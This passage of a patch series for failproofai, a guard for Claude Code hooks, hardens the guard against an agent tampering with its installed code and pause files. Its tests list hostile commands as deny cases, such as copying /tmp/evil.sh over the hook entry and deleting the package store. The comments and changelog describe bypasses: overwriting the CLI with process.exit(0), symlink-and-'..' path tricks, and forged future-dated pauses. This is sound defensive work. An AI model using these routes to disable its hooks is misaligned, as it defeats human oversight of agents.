a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index b4f9e0692..785c6f2f5 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -156,11 +156,35 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); }); + // `path.resolve` and Node's realpathSync collapse `..` as text before they + // follow links, so this resolved to `elsewhere/dist/cli.mjs` — a path that + // does not exist — while open(2) follows `pkg` first and writes the CLI. + // (Template strings, not `join`, which would collapse the `..` right here.) + it("steps out of a link the way the kernel does, not the way path.resolve does", async () => { + expect((await write(`${root}/elsewhere/pkg/../failproofai/dist/cli.mjs`)).decision).toBe("deny"); + const viaDist = join(root, "elsewhere", "dist-link"); + symlinkSync(join(pkg, "dist"), viaDist); + expect((await write(`${viaDist}/../dist/cli.mjs`)).decision).toBe("deny"); + // And the same `..` from a directory that is not a link lands next to it. + expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); }); + // Tool input is untrusted JSON. A throw from the guard takes it out of the + // evaluation entirely, so a malformed path must be judged, not crash it. + it("judges a non-string path instead of throwing", async () => { + const odd = async (file_path: unknown) => + (await policy.fn(makeCtx({ toolName: "Write", toolInput: { file_path, content: "x" }, session: { cwd: "/work/proj" } }))) + .decision; + expect(await odd(42)).toBe("allow"); + expect(await odd({ path: "/tmp/x" })).toBe("allow"); + expect(await odd(["/usr/local/bin/failproofai"])).toBe("deny"); + }); + // Not a general file-write blocker: the package directory and the bin // entry, and nothing that merely carries the name. it.each([ @@ -171,6 +195,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -188,9 +213,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], ["a project install", "rm -rf node_modules/failproofai"], ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["a dotted glob onto a project install", "rm -rf ./node_modules/fail*"], ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + // The variables nvm and pnpm export for the directory the entry lives in. + ["copying over the entry through $NVM_BIN", 'cp /tmp/evil.sh "$NVM_BIN/failproofai"'], + ["relinking the entry through ${PNPM_HOME}", "ln -sf /tmp/evil.sh ${PNPM_HOME}/failproofai"], + // pnpm keeps the package one directory above its own node_modules. + ["removing pnpm's store entry in a project", "rm -rf node_modules/.pnpm/failproofai@1.0.15"], + ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], + ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], + ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -204,6 +238,8 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index 906cf5fb9..a605030ed 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -257,6 +257,18 @@ describe("--resume", () => { expect(readActivePause("s1", NOW)).toBeNull(); expect(readActivePause("s2", NOW)).toBeNull(); }); + + // A pause file dated in the future is not honoured, so it is not listed — but + // it turns live when its date arrives. `--all` is how a person ends every + // pause, so it must remove that one too (FailproofAI/agenteye#1796). + it("--all also removes a pause dated in the future, before it can turn live", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "later", durationMs: 600_000, now: NOW + 3_600_000 }); + expect(readActivePause("later", NOW)).toBeNull(); + const r = runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + expect(r.affected).toBe(1); + expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 55e0697f5..9c6378bb6 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -6,6 +6,7 @@ import { resolve } from "node:path"; import { PAUSE_CEILING_MS, PAUSE_DEFAULT_MS, + clearAllPauses, clearPause, formatDuration, listActivePauses, @@ -255,6 +256,26 @@ describe("pause state", () => { expect(renewed.firstPausedAt).toBe(now); expect(renewed.expiresAt).toBe(now + 60_000); }); + + // A renewal carries the run's start forward. After a small clock step back, + // that start reads as later than the renewal, and the reader would refuse + // the very pause the CLI had just reported extended. + it("survives a renewal issued just after the clock stepped back", () => { + writePause({ sessionId: "sess-c", durationMs: 600_000, now }); + const renewed = writePause({ sessionId: "sess-c", durationMs: 600_000, now: now - 30_000 }); + expect(renewed.firstPausedAt).toBe(now - 30_000); + expect(readActivePause("sess-c", now - 30_000)?.expiresAt).toBe(now + 570_000); + }); + + // Not honoured yet is not the same as gone: a file dated an hour ahead turns + // live in an hour. Ending every pause has to end that one too. + it("is removed by clearAllPauses, which counts only the active ones", () => { + forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); + writePause({ sessionId: "sess-live", durationMs: 600_000, now }); + expect(clearAllPauses(now)).toBe(1); + expect(readdirSync(pauseStateDir())).toEqual([]); + expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); + }); }); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 7c62bc41c..f63fd9cd7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join, dirname, basename, isAbsolute } from "node:path"; -import { realpathSync, statSync } from "node:fs"; +import { resolve, join } from "node:path"; +import { lstatSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -474,24 +474,36 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * - * - `node_modules/failproofai`, in every layout a package manager uses — and - * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, - * which `failproofai config` and `update` copy into place (on Linux as root, - * under `/opt`). - * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put - * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. - * - * A checkout of this repository matches neither — no `node_modules` above it, - * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front - * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub - * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * A checkout of this repository matches none of the shapes below — no + * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard + * does not stand in front of working on failproofai itself. + * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here + * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path - * resolver collapses. - */ -const FAILPROOFAI_CODE_PATH_RE = - /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + * resolver collapses. This matches the path as WRITTEN: a shell spelling that + * only the shell resolves — `..`, a `cd` before a relative path, a command + * substitution — is beyond it, as it is for the state (see `stripShellQuoting`). + * The file tools also check the path a write really lands on (`resolveWriteTarget`). + */ +const FAILPROOFAI_CODE_PATH_RE = new RegExp( + [ + // The package, in every layout a package manager uses, and the daemon's + // platform package, which `failproofai config` and `update` copy into place + // (on Linux as root, under `/opt`). + String.raw`node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // pnpm's virtual store, which holds each package one directory above its + // own `node_modules/failproofai`. + String.raw`\.pnpm[\\/](?:\.?[\\/])*(?:failproofai|@failproofai\+failproofaid[\w.-]*)@`, + // The entry a hook command names: `…/bin/failproofai` for npm, nvm, + // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and + // the variables nvm and pnpm export for those directories. A FILE, so a + // directory of that name (`~/bin/failproofai/src/…`) is not it. + String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + ].join("|"), + "i", +); /** * failproofai's own files: its state, and the installed code above. @@ -509,10 +521,16 @@ const FAILPROOFAI_STATE_PATH_RE = new RegExp( "i", ); -/** Which of failproofai's own files `path` names, for a deny message that says which. */ -function failproofaiFileKind(path: string): "state" | "code" | null { - if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; - return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +/** + * Which of failproofai's own files `path` names, for a deny message that says + * which. Tool input is untrusted JSON, so a non-string is read the way + * `RegExp.test` always read it — as its string form — rather than waved through. + */ +function failproofaiFileKind(path: unknown): "state" | "code" | null { + if (path === undefined || path === null || path === "") return null; + const text = String(path); + if (!FAILPROOFAI_STATE_PATH_RE.test(text)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(text) ? "code" : "state"; } /** @@ -520,28 +538,60 @@ function failproofaiFileKind(path: string): "state" | "code" | null { * * A file tool writes THROUGH a link, so the path it is handed is not * necessarily the one it changes — and npm, nvm and bun install the - * `failproofai` bin entry as exactly such a link into the package. A tail that - * does not exist yet (a file about to be created) is re-attached to the deepest - * ancestor that does, so a new file under a linked directory resolves too. A - * relative path is taken from the session's directory, not this process's: the - * daemon's worker runs somewhere else entirely. - * - * "" when nothing resolves. Never throws — this runs for every file write. - */ -function resolveWriteTarget(path: string, cwd: string | undefined): string { - let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; - const missing: string[] = []; - for (let depth = 0; current && depth < 64; depth++) { - try { - return join(realpathSync(current), ...missing); - } catch { - const parent = dirname(current); - if (parent === current) break; - missing.unshift(basename(current)); - current = parent; + * `failproofai` bin entry as exactly such a link into the package. + * + * Walked one component at a time, the way the kernel resolves a path: a link is + * expanded where it stands, and a `..` after it steps out of what it points at. + * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so + * a write to `/../dist/cli.mjs` resolved to a harmless path + * while `open(2)` wrote the CLI. From the first component that does not exist + * nothing below can be a link, so the rest is the tail of a file being created. + * A relative path is taken from the session's directory, not this process's — + * the daemon's worker runs somewhere else entirely — and `~` from home. + * + * "" when nothing resolves. Never throws, whatever the tool input holds: a + * throw here would take the always-on guard out of the evaluation. + */ +function resolveWriteTarget(path: unknown, cwd: unknown): string { + if (typeof path !== "string" || path === "") return ""; + try { + const expanded = path === "~" || path.startsWith("~/") ? homedir() + path.slice(1) : path; + const start = expanded.startsWith("/") + ? expanded + : typeof cwd === "string" && cwd.startsWith("/") + ? `${cwd}/${expanded}` + : ""; + if (!start) return ""; + const pending = start.split("/"); + let resolved = ""; // "" is the root + for (let links = 0; pending.length > 0; ) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + resolved = resolved.slice(0, resolved.lastIndexOf("/")); + continue; + } + const next = `${resolved}/${part}`; + let isLink: boolean; + try { + isLink = lstatSync(next).isSymbolicLink(); + } catch { + return join(next, ...pending); + } + if (!isLink) { + resolved = next; + continue; + } + // The kernel's own bound on a chain of links (MAXSYMLINKS). + if (++links > 40) return ""; + const target = readlinkSync(next); + if (target.startsWith("/")) resolved = ""; + pending.unshift(...target.split("/")); } + return resolved || "/"; + } catch { + return ""; } - return ""; } /** @@ -782,6 +832,8 @@ const STATE_GLOB_CANDIDATES = [ // directory and the npx cache's hash are not, so a glob under those is not one // this list can anticipate; the literal paths there still match. "node_modules/failproofai", + "./node_modules/failproofai", + "node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -808,7 +860,7 @@ const GLOB_DECOYS = [ "a", "foo.txt", "test-failures", // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. - "node_modules/react", "node_modules/.bin", + "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 958b507cb..18d840cbe 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -12,8 +12,8 @@ */ import { PAUSE_CEILING_MS, + clearAllPauses, clearPause, - listActivePauses, parsePauseDuration, readActivePause, resolveSessionForCwd, @@ -114,9 +114,7 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const active = listActivePauses(now); - let cleared = 0; - for (const pause of active) if (clearPause(pause.sessionId)) cleared++; + const cleared = clearAllPauses(now); return { exitCode: 0, lines: [ diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index 5af52fd59..e09aae835 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -212,7 +212,10 @@ export function writePause(opts: { // Carry the run's original start forward while a pause is still live, so a // renewal extends the same stretch rather than starting a fresh ceiling. const existing = readActivePause(opts.sessionId, now); - const firstPausedAt = existing?.firstPausedAt ?? now; + // Never later than this renewal: after a small clock step backwards the run's + // start can read as later than `now`, and the reader refuses a start after the + // latest renewal — the pause the CLI just reported extended would not exist. + const firstPausedAt = existing ? Math.min(existing.firstPausedAt, now) : now; const pause: ActivePause = { sessionId: opts.sessionId, pausedAt: now, @@ -240,6 +243,34 @@ export function clearPause(sessionId: string): boolean { } } +/** + * Remove every pause file, whatever it holds. Returns how many pauses were + * ACTIVE, which is what a person ending them is told. + * + * Every file, not every active pause: a file dated in the future is not honoured + * yet, so it is not listed, and clearing only the listed ones left it to turn + * live later — out of sight of the `--resume --all` meant to end them all. + */ +export function clearAllPauses(now = Date.now()): number { + const active = listActivePauses(now).length; + const dir = pauseStateDir(); + let names: string[] = []; + try { + names = readdirSync(dir); + } catch { + return active; + } + for (const name of names) { + if (!name.endsWith(".json")) continue; + try { + rmSync(join(dir, name)); + } catch { + // One file that will not go must not stop the rest. + } + } + return active; +} + /** Every pause that has not yet expired, newest first. Expired files are ignored. */ export function listActivePauses(now = Date.now()): ActivePause[] { const dir = pauseStateDir(); From 8956fde137b7d0391d7d3a7da126f6a2153524e1 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:17:16 +0530 Subject: [PATCH 03/60] [hooks] CHANGELOG: cite #1050 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 517b19a86..aa657727c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From ed5eb189155cf76d64c7dde8c5d6fdcf03dc87b4 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:46:46 +0530 Subject: [PATCH 04/60] [hooks] Address hermes review: walk through missing directories; fail --resume --all when a file stays - resolveWriteTarget no longer ends its walk at the first component that does not exist. A write tool that runs `mkdir -p` on the parent creates it, so `missing/../alias.mjs` steps back out and a link named alias.mjs into the package was written through while the guard allowed it. - clearAllPauses reports the active pauses whose file is really gone, and whether anything stayed behind (a file that would not go, or a directory that could not be listed, whose pauses the hook still reads by name). `config --resume --all` exits 1 with that, instead of saying "Resumed" over a pause that is still in force. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 9 +++++ __tests__/hooks/session-pause-cli.test.ts | 23 +++++++++++- __tests__/hooks/session-pause.test.ts | 38 ++++++++++++++++++-- src/hooks/builtin-policies.ts | 10 +++--- src/hooks/session-pause-cli.ts | 25 +++++++++---- src/hooks/session-pause.ts | 29 ++++++++++----- 7 files changed, 113 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index aa657727c..7dae2d99a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,7 +10,7 @@ - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 785c6f2f5..8c83fe32c 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -169,6 +169,15 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); }); + // A directory that does not exist yet is not where the walk ends: a write + // tool that runs `mkdir -p` on the parent first creates it, `..` steps back + // out, and `tool.mjs` is the link into the package (found in review). + it("walks through a directory that does not exist yet", async () => { + expect((await write(`${root}/elsewhere/missing/../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/a/b/../../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/missing/../notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index a605030ed..3987a72fa 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -269,6 +269,27 @@ describe("--resume", () => { expect(r.affected).toBe(1); expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); }); + + // A pause file that stays behind is still read by the hook. Reporting + // "Resumed" over it, and exiting 0, left enforcement suspended while saying + // it was back (found in review). Root ignores the mode, so ordinary users only. + it.skipIf(process.getuid?.() === 0)("--all fails, and says so, when a pause file will not go", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + const sessions = resolve(stateDir, "sessions"); + chmodSync(sessions, 0o500); + const r = (() => { + try { + return runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + } finally { + chmodSync(sessions, 0o700); + } + })(); + expect(r.exitCode).toBe(1); + expect(r.affected).toBe(0); + expect(r.lines.join("\n")).not.toMatch(/Resumed/); + expect(r.lines[0]).toMatch(/Could not remove every pause file from .*sessions, so enforcement may still be paused/); + expect(readActivePause("s1", NOW)).not.toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9c6378bb6..cfd75bfac 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -272,13 +272,47 @@ describe("pause state", () => { it("is removed by clearAllPauses, which counts only the active ones", () => { forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); writePause({ sessionId: "sess-live", durationMs: 600_000, now }); - expect(clearAllPauses(now)).toBe(1); + expect(clearAllPauses(now)).toEqual({ cleared: 1, incomplete: false }); expect(readdirSync(pauseStateDir())).toEqual([]); expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); }); }); }); +// A pause file that stays behind is still read by the hook, so it must never be +// counted as cleared (found in review). Root ignores directory modes, so these +// only mean something for an ordinary user, which is what CI runs as. +describe.skipIf(process.getuid?.() === 0)("clearAllPauses when a file will not go", () => { + const now = Date.UTC(2026, 10, 24); + const withMode = (mode: number, body: () => void) => { + chmodSync(pauseStateDir(), mode); + try { + body(); + } finally { + chmodSync(pauseStateDir(), 0o700); + } + }; + + it("does not count a pause it could not remove, and says so", () => { + writePause({ sessionId: "sess-ro", durationMs: 600_000, now }); + withMode(0o500, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + }); + expect(readActivePause("sess-ro", now)).not.toBeNull(); + }); + + // Without read permission the directory cannot be listed, but the hook opens + // each pause by name and still finds it — so "nothing listed" is not "nothing + // paused". + it("reports a directory it cannot list instead of calling it empty", () => { + writePause({ sessionId: "sess-nolist", durationMs: 600_000, now }); + withMode(0o300, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + expect(readActivePause("sess-nolist", now)).not.toBeNull(); + }); + }); +}); + describe("formatDuration", () => { it("renders seconds, minutes and hours readably", () => { expect(formatDuration(45_000)).toBe("45s"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index f63fd9cd7..9c13eef60 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -544,8 +544,10 @@ function failproofaiFileKind(path: unknown): "state" | "code" | null { * expanded where it stands, and a `..` after it steps out of what it points at. * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so * a write to `/../dist/cli.mjs` resolved to a harmless path - * while `open(2)` wrote the CLI. From the first component that does not exist - * nothing below can be a link, so the rest is the tail of a file being created. + * while `open(2)` wrote the CLI. A component that does not exist is walked as + * the plain directory a write tool's `mkdir -p` would make of it — NOT taken as + * the end of the walk: `missing/../alias.mjs` steps straight back out, and + * `alias.mjs` can be a link into the package (found in review, PR #1050). * A relative path is taken from the session's directory, not this process's — * the daemon's worker runs somewhere else entirely — and `~` from home. * @@ -572,11 +574,11 @@ function resolveWriteTarget(path: unknown, cwd: unknown): string { continue; } const next = `${resolved}/${part}`; - let isLink: boolean; + let isLink = false; try { isLink = lstatSync(next).isSymbolicLink(); } catch { - return join(next, ...pending); + // Missing or unreadable: a plain directory once created, so walk on. } if (!isLink) { resolved = next; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 18d840cbe..f39086e35 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -15,6 +15,7 @@ import { clearAllPauses, clearPause, parsePauseDuration, + pauseStateDir, readActivePause, resolveSessionForCwd, writePause, @@ -114,14 +115,26 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const cleared = clearAllPauses(now); + const { cleared, incomplete } = clearAllPauses(now); + const resumed = (k: typeof kit) => k.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`); + if (incomplete) { + // A pause file that stayed behind is still read by the hook, so this is + // a failure even if some pauses did end: saying "Resumed" over it would + // leave someone believing enforcement is back on when it is not. + const failKit = kitFor(false); + return { + exitCode: 1, + lines: [ + ...(cleared > 0 ? [resumed(failKit)] : []), + failKit.fail(`Could not remove every pause file from ${pauseStateDir()}, so enforcement may still be paused.`), + `${INDENT}Check that directory's permissions, then run this again.`, + ], + affected: cleared, + }; + } return { exitCode: 0, - lines: [ - cleared === 0 - ? "Nothing was paused." - : kit.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`), - ], + lines: [cleared === 0 ? "Nothing was paused." : resumed(kit)], affected: cleared, }; } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index e09aae835..e49d07afb 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ 